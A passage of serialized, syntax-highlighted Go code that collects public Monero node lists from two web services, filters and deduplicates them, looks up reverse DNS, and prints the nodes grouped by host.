node",[279,3591,678],{"class":285},[279,3593,3594],{"class":298},"IP",[279,3596,3597],{"class":285},"[",[279,3599,3460],{"class":298},[279,3601,2011],{"class":285},[279,3603,657],{"class":285},[279,3605,3606],{"class":298}," nodeInfo\n",[279,3608,3610,3613,3615,3617,3619,3621],{"class":281,"line":3609},163,[279,3611,3612],{"class":298},"                    moneroNodes",[279,3614,3597],{"class":285},[279,3616,3225],{"class":298},[279,3618,2011],{"class":285},[279,3620,657],{"class":285},[279,3622,3623],{"class":298}," node\n",[279,3625,3627,3629,3631,3634],{"class":281,"line":3626},164,[279,3628,3576],{"class":298},[279,3630,678],{"class":285},[279,3632,3633],{"class":639},"Unlock",[279,3635,3248],{"class":285},[279,3637,3639],{"class":281,"line":3638},165,[279,3640,628],{"emptyLinePlaceholder":220},[279,3642,3644,3647,3650,3652,3654],{"class":281,"line":3643},166,[279,3645,3646],{"class":285},"                }(",[279,3648,3649],{"class":298},"ipStr",[279,3651,850],{"class":285},[279,3653,3465],{"class":298},[279,3655,1734],{"class":285},[279,3657,3659],{"class":281,"line":3658},167,[279,3660,3337],{"class":285},[279,3662,3664,3667,3669,3672],{"class":281,"line":3663},168,[279,3665,3666],{"class":298},"            wg2",[279,3668,678],{"class":285},[279,3670,3671],{"class":639},"Wait",[279,3673,3248],{"class":285},[279,3675,3677,3680,3682],{"class":281,"line":3676},169,[279,3678,3679],{"class":285},"        }(",[279,3681,3225],{"class":298},[279,3683,1734],{"class":285},[279,3685,3687],{"class":281,"line":3686},170,[279,3688,944],{"class":285},[279,3690,3692,3695,3697,3699],{"class":281,"line":3691},171,[279,3693,3694],{"class":298},"    wg1",[279,3696,678],{"class":285},[279,3698,3671],{"class":639},[279,3700,3248],{"class":285},[279,3702,3704],{"class":281,"line":3703},172,[279,3705,628],{"emptyLinePlaceholder":220},[279,3707,3709,3712,3714,3716,3718,3720,3723,3725],{"class":281,"line":3708},173,[279,3710,3711],{"class":298},"    uniqueNodes ",[279,3713,2984],{"class":285},[279,3715,3123],{"class":639},[279,3717,3126],{"class":285},[279,3719,1776],{"class":331},[279,3721,3722],{"class":285},"][]",[279,3724,1776],{"class":331},[279,3726,1734],{"class":285},[279,3728,3730,3732,3734,3736,3738,3740,3742,3745],{"class":281,"line":3729},174,[279,3731,3176],{"class":713},[279,3733,3465],{"class":298},[279,3735,850],{"class":285},[279,3737,3257],{"class":298},[279,3739,2984],{"class":285},[279,3741,3189],{"class":713},[279,3743,3744],{"class":298}," moneroNodes ",[279,3746,828],{"class":285},[279,3748,3750,3753,3755,3757,3760,3762,3764,3767,3769,3771],{"class":281,"line":3749},175,[279,3751,3752],{"class":713},"        for",[279,3754,3426],{"class":298},[279,3756,850],{"class":285},[279,3758,3759],{"class":298}," info ",[279,3761,2984],{"class":285},[279,3763,3189],{"class":713},[279,3765,3766],{"class":298}," node",[279,3768,678],{"class":285},[279,3770,3271],{"class":298},[279,3772,828],{"class":285},[279,3774,3776,3779,3781,3783,3786],{"class":281,"line":3775},176,[279,3777,3778],{"class":298},"            rdns ",[279,3780,2984],{"class":285},[279,3782,900],{"class":285},[279,3784,3785],{"class":341},"nil",[279,3787,361],{"class":285},[279,3789,3791,3794,3796,3798,3800,3802,3804,3807,3809,3811],{"class":281,"line":3790},177,[279,3792,3793],{"class":298},"            rdnsa",[279,3795,850],{"class":285},[279,3797,3004],{"class":298},[279,3799,2984],{"class":285},[279,3801,3352],{"class":298},[279,3803,678],{"class":285},[279,3805,3806],{"class":639},"LookupAddr",[279,3808,840],{"class":285},[279,3810,3460],{"class":298},[279,3812,1734],{"class":285},[279,3814,3816,3818,3820,3823,3825],{"class":281,"line":3815},178,[279,3817,3317],{"class":713},[279,3819,3004],{"class":298},[279,3821,3822],{"class":285},"==",[279,3824,3010],{"class":285},[279,3826,646],{"class":285},[279,3828,3830,3833,3835,3838,3840,3843],{"class":281,"line":3829},179,[279,3831,3832],{"class":298},"                rdns ",[279,3834,335],{"class":285},[279,3836,3837],{"class":298}," rdnsa",[279,3839,3597],{"class":285},[279,3841,3842],{"class":3209},"0",[279,3844,3845],{"class":285},"]\n",[279,3847,3849],{"class":281,"line":3848},180,[279,3850,3337],{"class":285},[279,3852,3854,3857,3859,3861,3863,3866,3868,3871,3873,3876],{"class":281,"line":3853},181,[279,3855,3856],{"class":298},"            outJSON",[279,3858,850],{"class":285},[279,3860,3004],{"class":298},[279,3862,2984],{"class":285},[279,3864,3865],{"class":298}," json",[279,3867,678],{"class":285},[279,3869,3870],{"class":639},"Marshal",[279,3872,840],{"class":285},[279,3874,3875],{"class":298},"info",[279,3877,1734],{"class":285},[279,3879,3881,3884,3886,3888,3890,3893],{"class":281,"line":3880},182,[279,3882,3883],{"class":298},"            strJSON ",[279,3885,2984],{"class":285},[279,3887,3228],{"class":331},[279,3889,840],{"class":285},[279,3891,3892],{"class":298},"outJSON",[279,3894,1734],{"class":285},[279,3896,3898,3901,3903,3906,3908,3910,3913,3915,3918,3920,3922,3925,3927,3930,3932,3934,3936,3939,3941,3943,3945,3947,3949],{"class":281,"line":3897},183,[279,3899,3900],{"class":298},"            uniqueNodes",[279,3902,3597],{"class":285},[279,3904,3905],{"class":298},"strJSON",[279,3907,2011],{"class":285},[279,3909,657],{"class":285},[279,3911,3912],{"class":639}," append",[279,3914,840],{"class":285},[279,3916,3917],{"class":298},"uniqueNodes",[279,3919,3597],{"class":285},[279,3921,3905],{"class":298},[279,3923,3924],{"class":285},"],",[279,3926,3426],{"class":298},[279,3928,3929],{"class":285},"+",[279,3931,355],{"class":285},[279,3933,900],{"class":285},[279,3935,3929],{"class":285},[279,3937,3938],{"class":298},"rdns",[279,3940,3929],{"class":285},[279,3942,355],{"class":285},[279,3944,900],{"class":285},[279,3946,3929],{"class":285},[279,3948,3225],{"class":298},[279,3950,1734],{"class":285},[279,3952,3954],{"class":281,"line":3953},184,[279,3955,3956],{"class":285},"        }\n",[279,3958,3960],{"class":281,"line":3959},185,[279,3961,944],{"class":285},[279,3963,3965],{"class":281,"line":3964},186,[279,3966,628],{"emptyLinePlaceholder":220},[279,3968,3970,3973,3975],{"class":281,"line":3969},187,[279,3971,3972],{"class":298},"    group ",[279,3974,2984],{"class":285},[279,3976,3977],{"class":3209}," 1\n",[279,3979,3981,3983,3985,3987,3990,3992,3994,3997],{"class":281,"line":3980},188,[279,3982,3176],{"class":713},[279,3984,3179],{"class":298},[279,3986,850],{"class":285},[279,3988,3989],{"class":298}," ips ",[279,3991,2984],{"class":285},[279,3993,3189],{"class":713},[279,3995,3996],{"class":298}," uniqueNodes ",[279,3998,828],{"class":285},[279,4000,4002,4005,4007,4009,4011,4013,4016,4018,4020,4023],{"class":281,"line":4001},189,[279,4003,4004],{"class":298},"        fmt",[279,4006,678],{"class":285},[279,4008,3023],{"class":639},[279,4010,840],{"class":285},[279,4012,355],{"class":285},[279,4014,4015],{"class":341},"Host group",[279,4017,355],{"class":285},[279,4019,850],{"class":285},[279,4021,4022],{"class":298}," group",[279,4024,1734],{"class":285},[279,4026,4028,4030,4032,4034,4036,4038,4040,4042],{"class":281,"line":4027},190,[279,4029,3752],{"class":713},[279,4031,3179],{"class":298},[279,4033,850],{"class":285},[279,4035,3406],{"class":298},[279,4037,2984],{"class":285},[279,4039,3189],{"class":713},[279,4041,3989],{"class":298},[279,4043,828],{"class":285},[279,4045,4047,4050,4052,4054,4056,4058],{"class":281,"line":4046},191,[279,4048,4049],{"class":298},"            fmt",[279,4051,678],{"class":285},[279,4053,3023],{"class":639},[279,4055,840],{"class":285},[279,4057,3460],{"class":298},[279,4059,1734],{"class":285},[279,4061,4063],{"class":281,"line":4062},192,[279,4064,3956],{"class":285},[279,4066,4068,4071],{"class":281,"line":4067},193,[279,4069,4070],{"class":298},"        group",[279,4072,4073],{"class":285},"++\n",[279,4075,4077,4079,4081,4083],{"class":281,"line":4076},194,[279,4078,4004],{"class":298},[279,4080,678],{"class":285},[279,4082,3023],{"class":639},[279,4084,3248],{"class":285},[279,4086,4088],{"class":281,"line":4087},195,[279,4089,944],{"class":285},[279,4091,4093],{"class":281,"line":4092},196,[279,4094,628],{"emptyLinePlaceholder":220},[279,4096,4098],{"class":281,"line":4097},197,[279,4099,949],{"class":285},[279,4101,4103],{"class":281,"line":4102},198,[279,4104,628],{"emptyLinePlaceholder":220},[279,4106,4108,4110,4112,4114,4116,4119,4121,4123,4125],{"class":281,"line":4107},199,[279,4109,2954],{"class":285},[279,4111,2987],{"class":639},[279,4113,840],{"class":285},[279,4115,2993],{"class":3224},[279,4117,4118],{"class":285}," *[]",[279,4120,1776],{"class":331},[279,4122,856],{"class":285},[279,4124,853],{"class":331},[279,4126,646],{"class":285},[279,4128,4130,4133,4135,4137,4139,4142,4144,4147,4149,4151,4154,4156],{"class":281,"line":4129},200,[279,4131,4132],{"class":298},"    resp",[279,4134,850],{"class":285},[279,4136,3004],{"class":298},[279,4138,2984],{"class":285},[279,4140,4141],{"class":298}," http",[279,4143,678],{"class":285},[279,4145,4146],{"class":639},"Get",[279,4148,840],{"class":285},[279,4150,355],{"class":285},[279,4152,4153],{"class":341},"https:\u002F\u002Fmonero.fail\u002Fnodes.json",[279,4155,355],{"class":285},[279,4157,1734],{"class":285},[279,4159,4161,4163,4165,4167,4169],{"class":281,"line":4160},201,[279,4162,3001],{"class":713},[279,4164,3004],{"class":298},[279,4166,3007],{"class":285},[279,4168,3010],{"class":285},[279,4170,646],{"class":285},[279,4172,4174,4177],{"class":281,"line":4173},202,[279,4175,4176],{"class":713},"        return",[279,4178,4179],{"class":298}," err\n",[279,4181,4183],{"class":281,"line":4182},203,[279,4184,944],{"class":285},[279,4186,4188,4191,4194,4196,4198,4200,4203],{"class":281,"line":4187},204,[279,4189,4190],{"class":713},"    defer",[279,4192,4193],{"class":298}," resp",[279,4195,678],{"class":285},[279,4197,1184],{"class":298},[279,4199,678],{"class":285},[279,4201,4202],{"class":639},"Close",[279,4204,3248],{"class":285},[279,4206,4208,4210,4213],{"class":281,"line":4207},205,[279,4209,2967],{"class":285},[279,4211,4212],{"class":298}," resNodes ",[279,4214,4215],{"class":1607},"MoneroFailNodes\n",[279,4217,4219,4221,4223,4225,4227,4230,4232,4235,4237,4239,4242,4245,4247,4250],{"class":281,"line":4218},206,[279,4220,2981],{"class":298},[279,4222,335],{"class":285},[279,4224,3865],{"class":298},[279,4226,678],{"class":285},[279,4228,4229],{"class":639},"NewDecoder",[279,4231,840],{"class":285},[279,4233,4234],{"class":298},"resp",[279,4236,678],{"class":285},[279,4238,1184],{"class":298},[279,4240,4241],{"class":285},").",[279,4243,4244],{"class":639},"Decode",[279,4246,2990],{"class":285},[279,4248,4249],{"class":298},"resNodes",[279,4251,1734],{"class":285},[279,4253,4255,4257,4259,4261,4263],{"class":281,"line":4254},207,[279,4256,3001],{"class":713},[279,4258,3004],{"class":298},[279,4260,3007],{"class":285},[279,4262,3010],{"class":285},[279,4264,646],{"class":285},[279,4266,4268,4270],{"class":281,"line":4267},208,[279,4269,4176],{"class":713},[279,4271,4179],{"class":298},[279,4273,4275],{"class":281,"line":4274},209,[279,4276,944],{"class":285},[279,4278,4280,4282,4284,4286,4288,4290,4292,4295,4297,4299,4301,4304],{"class":281,"line":4279},210,[279,4281,3176],{"class":713},[279,4283,3179],{"class":298},[279,4285,850],{"class":285},[279,4287,3184],{"class":298},[279,4289,2984],{"class":285},[279,4291,3189],{"class":713},[279,4293,4294],{"class":298}," resNodes",[279,4296,678],{"class":285},[279,4298,1075],{"class":298},[279,4300,678],{"class":285},[279,4302,4303],{"class":298},"Clear ",[279,4305,828],{"class":285},[279,4307,4309,4312,4314,4316,4318,4321,4323,4325],{"class":281,"line":4308},211,[279,4310,4311],{"class":298},"        url",[279,4313,850],{"class":285},[279,4315,3004],{"class":298},[279,4317,2984],{"class":285},[279,4319,4320],{"class":639}," normalizeURL",[279,4322,840],{"class":285},[279,4324,3225],{"class":298},[279,4326,1734],{"class":285},[279,4328,4330,4333,4335,4337,4339],{"class":281,"line":4329},212,[279,4331,4332],{"class":713},"        if",[279,4334,3004],{"class":298},[279,4336,3007],{"class":285},[279,4338,3010],{"class":285},[279,4340,646],{"class":285},[279,4342,4344],{"class":281,"line":4343},213,[279,4345,4346],{"class":713},"            continue\n",[279,4348,4350],{"class":281,"line":4349},214,[279,4351,3956],{"class":285},[279,4353,4355],{"class":281,"line":4354},215,[279,4356,4357],{"class":602},"        \u002F\u002F Get rid of i2p\n",[279,4359,4361,4363,4366,4368,4371,4373,4376,4378,4380,4383,4385,4387],{"class":281,"line":4360},216,[279,4362,4332],{"class":713},[279,4364,4365],{"class":298}," strings",[279,4367,678],{"class":285},[279,4369,4370],{"class":639},"Contains",[279,4372,840],{"class":285},[279,4374,4375],{"class":298},"url",[279,4377,850],{"class":285},[279,4379,900],{"class":285},[279,4381,4382],{"class":341},".i2p",[279,4384,355],{"class":285},[279,4386,856],{"class":285},[279,4388,646],{"class":285},[279,4390,4392],{"class":281,"line":4391},217,[279,4393,4346],{"class":713},[279,4395,4397],{"class":281,"line":4396},218,[279,4398,3956],{"class":285},[279,4400,4402,4405,4407,4409,4411,4413],{"class":281,"line":4401},219,[279,4403,4404],{"class":639},"        addUnique",[279,4406,840],{"class":285},[279,4408,2993],{"class":298},[279,4410,850],{"class":285},[279,4412,3300],{"class":298},[279,4414,1734],{"class":285},[279,4416,4418],{"class":281,"line":4417},220,[279,4419,944],{"class":285},[279,4421,4423,4426],{"class":281,"line":4422},221,[279,4424,4425],{"class":713},"    return",[279,4427,4179],{"class":298},[279,4429,4431],{"class":281,"line":4430},222,[279,4432,949],{"class":285},[279,4434,4436],{"class":281,"line":4435},223,[279,4437,628],{"emptyLinePlaceholder":220},[279,4439,4441,4443,4445,4447,4449,4451,4453,4455,4457],{"class":281,"line":4440},224,[279,4442,2954],{"class":285},[279,4444,3060],{"class":639},[279,4446,840],{"class":285},[279,4448,2993],{"class":3224},[279,4450,4118],{"class":285},[279,4452,1776],{"class":331},[279,4454,856],{"class":285},[279,4456,853],{"class":331},[279,4458,646],{"class":285},[279,4460,4462,4464,4466,4468,4470,4472,4474,4476,4478,4480,4483,4485],{"class":281,"line":4461},225,[279,4463,4132],{"class":298},[279,4465,850],{"class":285},[279,4467,3004],{"class":298},[279,4469,2984],{"class":285},[279,4471,4141],{"class":298},[279,4473,678],{"class":285},[279,4475,4146],{"class":639},[279,4477,840],{"class":285},[279,4479,355],{"class":285},[279,4481,4482],{"class":341},"https:\u002F\u002Fxmr.ditatompel.com\u002Fapi\u002Fv1\u002Fnodes?page=1&limit=1000",[279,4484,355],{"class":285},[279,4486,1734],{"class":285},[279,4488,4490,4492,4494,4496,4498],{"class":281,"line":4489},226,[279,4491,3001],{"class":713},[279,4493,3004],{"class":298},[279,4495,3007],{"class":285},[279,4497,3010],{"class":285},[279,4499,646],{"class":285},[279,4501,4503,4505],{"class":281,"line":4502},227,[279,4504,4176],{"class":713},[279,4506,4179],{"class":298},[279,4508,4510],{"class":281,"line":4509},228,[279,4511,944],{"class":285},[279,4513,4515,4517,4519,4521,4523,4525,4527],{"class":281,"line":4514},229,[279,4516,4190],{"class":713},[279,4518,4193],{"class":298},[279,4520,678],{"class":285},[279,4522,1184],{"class":298},[279,4524,678],{"class":285},[279,4526,4202],{"class":639},[279,4528,3248],{"class":285},[279,4530,4532,4534,4536],{"class":281,"line":4531},230,[279,4533,2967],{"class":285},[279,4535,4212],{"class":298},[279,4537,4538],{"class":1607},"XmrDitatompelNodes\n",[279,4540,4542,4544,4546,4548,4550,4552,4554,4556,4558,4560,4562,4564,4566,4568],{"class":281,"line":4541},231,[279,4543,2981],{"class":298},[279,4545,335],{"class":285},[279,4547,3865],{"class":298},[279,4549,678],{"class":285},[279,4551,4229],{"class":639},[279,4553,840],{"class":285},[279,4555,4234],{"class":298},[279,4557,678],{"class":285},[279,4559,1184],{"class":298},[279,4561,4241],{"class":285},[279,4563,4244],{"class":639},[279,4565,2990],{"class":285},[279,4567,4249],{"class":298},[279,4569,1734],{"class":285},[279,4571,4573,4575,4577,4579,4581],{"class":281,"line":4572},232,[279,4574,3001],{"class":713},[279,4576,3004],{"class":298},[279,4578,3007],{"class":285},[279,4580,3010],{"class":285},[279,4582,646],{"class":285},[279,4584,4586,4588],{"class":281,"line":4585},233,[279,4587,4176],{"class":713},[279,4589,4179],{"class":298},[279,4591,4593],{"class":281,"line":4592},234,[279,4594,944],{"class":285},[279,4596,4598,4600,4602,4604,4607,4609,4611,4613,4615,4618,4620,4623],{"class":281,"line":4597},235,[279,4599,3176],{"class":713},[279,4601,3179],{"class":298},[279,4603,850],{"class":285},[279,4605,4606],{"class":298}," item ",[279,4608,2984],{"class":285},[279,4610,3189],{"class":713},[279,4612,4294],{"class":298},[279,4614,678],{"class":285},[279,4616,4617],{"class":298},"Data",[279,4619,678],{"class":285},[279,4621,4622],{"class":298},"Items ",[279,4624,828],{"class":285},[279,4626,4628,4630,4633,4636,4638,4641,4644,4647,4649,4652,4654,4656,4658,4661,4663,4665,4668,4670],{"class":281,"line":4627},236,[279,4629,4332],{"class":713},[279,4631,4632],{"class":285}," !",[279,4634,4635],{"class":298},"item",[279,4637,678],{"class":285},[279,4639,4640],{"class":298},"IsAvailable ",[279,4642,4643],{"class":285},"||",[279,4645,4646],{"class":298}," item",[279,4648,678],{"class":285},[279,4650,4651],{"class":298},"IsTor ",[279,4653,4643],{"class":285},[279,4655,4646],{"class":298},[279,4657,678],{"class":285},[279,4659,4660],{"class":298},"NetType ",[279,4662,3007],{"class":285},[279,4664,900],{"class":285},[279,4666,4667],{"class":341},"mainnet",[279,4669,355],{"class":285},[279,4671,646],{"class":285},[279,4673,4675],{"class":281,"line":4674},237,[279,4676,4346],{"class":713},[279,4678,4680],{"class":281,"line":4679},238,[279,4681,3956],{"class":285},[279,4683,4685,4688,4690,4692,4694,4697],{"class":281,"line":4684},239,[279,4686,4687],{"class":298},"        u1 ",[279,4689,2984],{"class":285},[279,4691,3300],{"class":1607},[279,4693,678],{"class":285},[279,4695,4696],{"class":1607},"URL",[279,4698,828],{"class":285},[279,4700,4702,4705,4708,4710,4712,4715],{"class":281,"line":4701},240,[279,4703,4704],{"class":298},"            Scheme",[279,4706,4707],{"class":285},":",[279,4709,4646],{"class":298},[279,4711,678],{"class":285},[279,4713,4714],{"class":298},"Protocol",[279,4716,4717],{"class":285},",\n",[279,4719,4721,4724,4726,4729,4731,4734,4736,4738,4741,4743,4745,4747,4749,4751,4753,4755,4757,4759,4761,4764],{"class":281,"line":4720},241,[279,4722,4723],{"class":298},"            Host",[279,4725,4707],{"class":285},[279,4727,4728],{"class":298},"   fmt",[279,4730,678],{"class":285},[279,4732,4733],{"class":639},"Sprintf",[279,4735,840],{"class":285},[279,4737,355],{"class":285},[279,4739,4740],{"class":289},"%s",[279,4742,4707],{"class":341},[279,4744,4740],{"class":289},[279,4746,355],{"class":285},[279,4748,850],{"class":285},[279,4750,4646],{"class":298},[279,4752,678],{"class":285},[279,4754,3367],{"class":298},[279,4756,850],{"class":285},[279,4758,4646],{"class":298},[279,4760,678],{"class":285},[279,4762,4763],{"class":298},"Port",[279,4765,4766],{"class":285},"),\n",[279,4768,4770],{"class":281,"line":4769},242,[279,4771,3956],{"class":285},[279,4773,4775,4778,4780,4782,4784,4786,4788,4791,4793,4795],{"class":281,"line":4774},243,[279,4776,4777],{"class":298},"        u",[279,4779,850],{"class":285},[279,4781,3004],{"class":298},[279,4783,2984],{"class":285},[279,4785,4320],{"class":639},[279,4787,840],{"class":285},[279,4789,4790],{"class":298},"u1",[279,4792,678],{"class":285},[279,4794,3431],{"class":639},[279,4796,3370],{"class":285},[279,4798,4800,4802,4804,4806,4808],{"class":281,"line":4799},244,[279,4801,4332],{"class":713},[279,4803,3004],{"class":298},[279,4805,3007],{"class":285},[279,4807,3010],{"class":285},[279,4809,646],{"class":285},[279,4811,4813],{"class":281,"line":4812},245,[279,4814,4346],{"class":713},[279,4816,4818],{"class":281,"line":4817},246,[279,4819,3956],{"class":285},[279,4821,4823,4825,4827,4829,4831,4834],{"class":281,"line":4822},247,[279,4824,4404],{"class":639},[279,4826,840],{"class":285},[279,4828,2993],{"class":298},[279,4830,850],{"class":285},[279,4832,4833],{"class":298}," u",[279,4835,1734],{"class":285},[279,4837,4839],{"class":281,"line":4838},248,[279,4840,944],{"class":285},[279,4842,4844,4846],{"class":281,"line":4843},249,[279,4845,4425],{"class":713},[279,4847,4179],{"class":298},[279,4849,4851],{"class":281,"line":4850},250,[279,4852,949],{"class":285},[279,4854,4856],{"class":281,"line":4855},251,[279,4857,628],{"emptyLinePlaceholder":220},[279,4859,4861,4863,4865,4867,4870,4872,4874,4876,4878,4880,4882,4884],{"class":281,"line":4860},252,[279,4862,2954],{"class":285},[279,4864,4320],{"class":639},[279,4866,840],{"class":285},[279,4868,4869],{"class":3224},"rawURL",[279,4871,3228],{"class":331},[279,4873,856],{"class":285},[279,4875,819],{"class":285},[279,4877,1776],{"class":331},[279,4879,850],{"class":285},[279,4881,853],{"class":331},[279,4883,856],{"class":285},[279,4885,646],{"class":285},[279,4887,4889,4892,4894,4896,4898,4900,4902,4904,4906,4908],{"class":281,"line":4888},253,[279,4890,4891],{"class":298},"    parsedURL",[279,4893,850],{"class":285},[279,4895,3004],{"class":298},[279,4897,2984],{"class":285},[279,4899,3300],{"class":298},[279,4901,678],{"class":285},[279,4903,3305],{"class":639},[279,4905,840],{"class":285},[279,4907,4869],{"class":298},[279,4909,1734],{"class":285},[279,4911,4913,4915,4917,4919,4921],{"class":281,"line":4912},254,[279,4914,3001],{"class":713},[279,4916,3004],{"class":298},[279,4918,3007],{"class":285},[279,4920,3010],{"class":285},[279,4922,646],{"class":285},[279,4924,4926,4928,4931,4933],{"class":281,"line":4925},255,[279,4927,4176],{"class":713},[279,4929,4930],{"class":285}," \"\"",[279,4932,850],{"class":285},[279,4934,4179],{"class":298},[279,4936,4938],{"class":281,"line":4937},256,[279,4939,944],{"class":285},[279,4941,4943,4945,4948,4950,4953,4955,4957,4960,4962,4965,4967,4969,4971,4973,4976,4978,4981,4983],{"class":281,"line":4942},257,[279,4944,3001],{"class":713},[279,4946,4947],{"class":298}," parsedURL",[279,4949,678],{"class":285},[279,4951,4952],{"class":298},"Scheme ",[279,4954,3822],{"class":285},[279,4956,900],{"class":285},[279,4958,4959],{"class":341},"http",[279,4961,355],{"class":285},[279,4963,4964],{"class":285}," &&",[279,4966,4947],{"class":298},[279,4968,678],{"class":285},[279,4970,4763],{"class":639},[279,4972,643],{"class":285},[279,4974,4975],{"class":285}," ==",[279,4977,900],{"class":285},[279,4979,4980],{"class":341},"80",[279,4982,355],{"class":285},[279,4984,646],{"class":285},[279,4986,4988,4991,4993,4996,4998,5000,5002,5005,5007,5010,5012,5015,5017,5019,5022,5024],{"class":281,"line":4987},258,[279,4989,4990],{"class":298},"        parsedURL",[279,4992,678],{"class":285},[279,4994,4995],{"class":298},"Host ",[279,4997,335],{"class":285},[279,4999,4365],{"class":298},[279,5001,678],{"class":285},[279,5003,5004],{"class":639},"TrimSuffix",[279,5006,840],{"class":285},[279,5008,5009],{"class":298},"parsedURL",[279,5011,678],{"class":285},[279,5013,5014],{"class":298},"Host",[279,5016,850],{"class":285},[279,5018,900],{"class":285},[279,5020,5021],{"class":341},":80",[279,5023,355],{"class":285},[279,5025,1734],{"class":285},[279,5027,5029],{"class":281,"line":5028},259,[279,5030,944],{"class":285},[279,5032,5034,5036,5038,5040,5042,5044,5046,5049,5051,5053,5055,5057,5059,5061,5063,5065,5068,5070],{"class":281,"line":5033},260,[279,5035,3001],{"class":713},[279,5037,4947],{"class":298},[279,5039,678],{"class":285},[279,5041,4952],{"class":298},[279,5043,3822],{"class":285},[279,5045,900],{"class":285},[279,5047,5048],{"class":341},"https",[279,5050,355],{"class":285},[279,5052,4964],{"class":285},[279,5054,4947],{"class":298},[279,5056,678],{"class":285},[279,5058,4763],{"class":639},[279,5060,643],{"class":285},[279,5062,4975],{"class":285},[279,5064,900],{"class":285},[279,5066,5067],{"class":341},"443",[279,5069,355],{"class":285},[279,5071,646],{"class":285},[279,5073,5075,5077,5079,5081,5083,5085,5087,5089,5091,5093,5095,5097,5099,5101,5104,5106],{"class":281,"line":5074},261,[279,5076,4990],{"class":298},[279,5078,678],{"class":285},[279,5080,4995],{"class":298},[279,5082,335],{"class":285},[279,5084,4365],{"class":298},[279,5086,678],{"class":285},[279,5088,5004],{"class":639},[279,5090,840],{"class":285},[279,5092,5009],{"class":298},[279,5094,678],{"class":285},[279,5096,5014],{"class":298},[279,5098,850],{"class":285},[279,5100,900],{"class":285},[279,5102,5103],{"class":341},":443",[279,5105,355],{"class":285},[279,5107,1734],{"class":285},[279,5109,5111],{"class":281,"line":5110},262,[279,5112,944],{"class":285},[279,5114,5116,5118,5120,5122,5124,5127],{"class":281,"line":5115},263,[279,5117,4425],{"class":713},[279,5119,4947],{"class":298},[279,5121,678],{"class":285},[279,5123,3431],{"class":639},[279,5125,5126],{"class":285},"(),",[279,5128,5129],{"class":285}," nil\n",[279,5131,5133],{"class":281,"line":5132},264,[279,5134,949],{"class":285},[279,5136,5138],{"class":281,"line":5137},265,[279,5139,628],{"emptyLinePlaceholder":220},[279,5141,5143,5145,5148,5150,5153,5155,5157,5159,5161,5163,5165],{"class":281,"line":5142},266,[279,5144,2954],{"class":285},[279,5146,5147],{"class":639}," addUnique",[279,5149,840],{"class":285},[279,5151,5152],{"class":3224},"slice",[279,5154,4118],{"class":285},[279,5156,1776],{"class":331},[279,5158,850],{"class":285},[279,5160,4646],{"class":3224},[279,5162,3228],{"class":331},[279,5164,856],{"class":285},[279,5166,646],{"class":285},[279,5168,5170,5173,5175,5177,5179,5181],{"class":281,"line":5169},267,[279,5171,5172],{"class":298},"    uniqueMap ",[279,5174,2984],{"class":285},[279,5176,3123],{"class":639},[279,5178,3126],{"class":285},[279,5180,1776],{"class":331},[279,5182,5183],{"class":285},"]struct{})\n",[279,5185,5187,5189,5191,5193,5196,5198,5200,5203,5206],{"class":281,"line":5186},268,[279,5188,3176],{"class":713},[279,5190,3179],{"class":298},[279,5192,850],{"class":285},[279,5194,5195],{"class":298}," v ",[279,5197,2984],{"class":285},[279,5199,3189],{"class":713},[279,5201,5202],{"class":285}," *",[279,5204,5205],{"class":298},"slice ",[279,5207,828],{"class":285},[279,5209,5211,5214,5216,5219,5221,5223],{"class":281,"line":5210},269,[279,5212,5213],{"class":298},"        uniqueMap",[279,5215,3597],{"class":285},[279,5217,5218],{"class":298},"v",[279,5220,2011],{"class":285},[279,5222,657],{"class":285},[279,5224,5225],{"class":285}," struct{}{}\n",[279,5227,5229],{"class":281,"line":5228},270,[279,5230,944],{"class":285},[279,5232,5234,5236,5238,5240,5243,5245,5248,5250,5252,5255,5257,5260],{"class":281,"line":5233},271,[279,5235,3001],{"class":713},[279,5237,3179],{"class":298},[279,5239,850],{"class":285},[279,5241,5242],{"class":298}," exists ",[279,5244,2984],{"class":285},[279,5246,5247],{"class":298}," uniqueMap",[279,5249,3597],{"class":285},[279,5251,4635],{"class":298},[279,5253,5254],{"class":285},"];",[279,5256,4632],{"class":285},[279,5258,5259],{"class":298},"exists ",[279,5261,828],{"class":285},[279,5263,5265,5268,5270,5272,5274,5277,5279,5281,5283],{"class":281,"line":5264},272,[279,5266,5267],{"class":285},"        *",[279,5269,5205],{"class":298},[279,5271,335],{"class":285},[279,5273,3912],{"class":639},[279,5275,5276],{"class":285},"(*",[279,5278,5152],{"class":298},[279,5280,850],{"class":285},[279,5282,4646],{"class":298},[279,5284,1734],{"class":285},[279,5286,5288],{"class":281,"line":5287},273,[279,5289,944],{"class":285},[279,5291,5293],{"class":281,"line":5292},274,[279,5294,949],{"class":285},[279,5296,5298],{"class":281,"line":5297},275,[279,5299,628],{"emptyLinePlaceholder":220},[279,5301,5303,5305,5307,5309,5311,5313,5315,5317,5319,5321,5323,5325,5327,5329],{"class":281,"line":5302},276,[279,5304,2954],{"class":285},[279,5306,3501],{"class":639},[279,5308,840],{"class":285},[279,5310,3460],{"class":3224},[279,5312,850],{"class":285},[279,5314,3465],{"class":3224},[279,5316,3228],{"class":331},[279,5318,856],{"class":285},[279,5320,819],{"class":285},[279,5322,2014],{"class":1607},[279,5324,850],{"class":285},[279,5326,853],{"class":331},[279,5328,856],{"class":285},[279,5330,646],{"class":285},[279,5332,5334,5337,5339,5342,5344,5346,5349],{"class":281,"line":5333},277,[279,5335,5336],{"class":298},"    client ",[279,5338,2984],{"class":285},[279,5340,5341],{"class":285}," &",[279,5343,4959],{"class":1607},[279,5345,678],{"class":285},[279,5347,5348],{"class":1607},"Client",[279,5350,828],{"class":285},[279,5352,5354,5357,5359,5361,5363,5365,5368],{"class":281,"line":5353},278,[279,5355,5356],{"class":298},"        Transport",[279,5358,4707],{"class":285},[279,5360,5341],{"class":285},[279,5362,4959],{"class":1607},[279,5364,678],{"class":285},[279,5366,5367],{"class":1607},"Transport",[279,5369,828],{"class":285},[279,5371,5373,5376,5378,5380,5383,5386,5388,5391,5393,5396,5398,5401,5403,5405,5407,5409,5411,5414,5416,5418,5420],{"class":281,"line":5372},279,[279,5374,5375],{"class":298},"            DialContext",[279,5377,4707],{"class":285},[279,5379,3221],{"class":285},[279,5381,5382],{"class":3224},"c",[279,5384,5385],{"class":1607}," context",[279,5387,678],{"class":285},[279,5389,5390],{"class":1607},"Context",[279,5392,850],{"class":285},[279,5394,5395],{"class":3224}," n",[279,5397,850],{"class":285},[279,5399,5400],{"class":3224}," 